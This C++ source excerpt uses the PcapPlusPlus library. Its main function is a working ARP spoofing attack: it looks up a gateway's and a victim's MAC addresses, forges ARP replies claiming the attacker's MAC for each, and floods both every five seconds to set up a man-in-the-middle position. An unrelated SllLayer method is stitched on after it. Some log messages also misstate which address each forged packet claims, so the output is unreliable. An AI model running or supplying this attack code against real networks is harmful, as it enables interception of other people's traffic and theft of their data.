bool doArpSpoofing(PcapLiveDevice* pDevice, const IPv4Address& gatewayAddr, const IPv4Address& victimAddr)
{
// Get the gateway MAC address
MacAddress gatewayMacAddr = getMacAddress(gatewayAddr, pDevice);
if (!gatewayMacAddr.isValid())
{
printf("Failed to find gateway MAC address. Exiting...\n");
return false;
}
printf("Got gateway MAC address: %s\n", gatewayMacAddr.toString().c_str());
// Get the victim MAC address
MacAddress victimMacAddr = getMacAddress(victimAddr, pDevice);
if (!victimMacAddr.isValid())
{
printf("Failed to find victim MAC address. Exiting...\n");
return false;
}
printf("Got victim MAC address: %s\n", victimMacAddr.toString().c_str());
MacAddress deviceMacAddress = pDevice->getMacAddress();
// Create ARP reply for the gateway
Packet gwArpReply(500);
EthLayer gwEthLayer(deviceMacAddress, gatewayMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
ArpLayer gwArpLayer(ARP_REPLY,
pDevice->getMacAddress(),
gatewayMacAddr,
victimAddr,
gatewayAddr);
gwArpReply.addLayer(&gwEthLayer);
gwArpReply.addLayer(&gwArpLayer);
gwArpReply.computeCalculateFields();
// Create ARP reply for the victim
Packet victimArpReply(500);
EthLayer victimEthLayer(deviceMacAddress, victimMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
ArpLayer victimArpLayer(ARP_REPLY,
pDevice->getMacAddress(),
victimMacAddr,
gatewayAddr,
victimAddr);
victimArpReply.addLayer(&victimEthLayer);
victimArpReply.addLayer(&victimArpLayer);
victimArpReply.computeCalculateFields();
// Send ARP replies to gateway and to victim every 5 seconds
printf("Sending ARP replies to victim and to gateway every 5 seconds...\n\n");
while(true)
{
pDevice->sendPacket(&gwArpReply);
printf("Sent ARP reply: %s [gateway] is at MAC address %s [me]\n", gatewayAddr.toString().c_str(), deviceMacAddress.toString().c_str());
pDevice->sendPacket(&victimArpReply);
printf("Sent ARP reply: %s [victim] is at MAC address %s [me]\n\n", victimAddr.toString().c_str(), deviceMacAddress.toString().c_str());
PCAP_SLEEP(5);
}
return true;
}
bool SllLayer::setMacAddressAsLinkLayer(MacAddress macAddr)
{
if (!macAddr.isValid())
{
LOG_ERROR("MAC address is not valid");
return false;
}
uint8_t macAddrAsArr[6];
macAddr.copyTo(macAddrAsArr);
return setLinkLayerAddr(macAddrAsArr, 6);
}
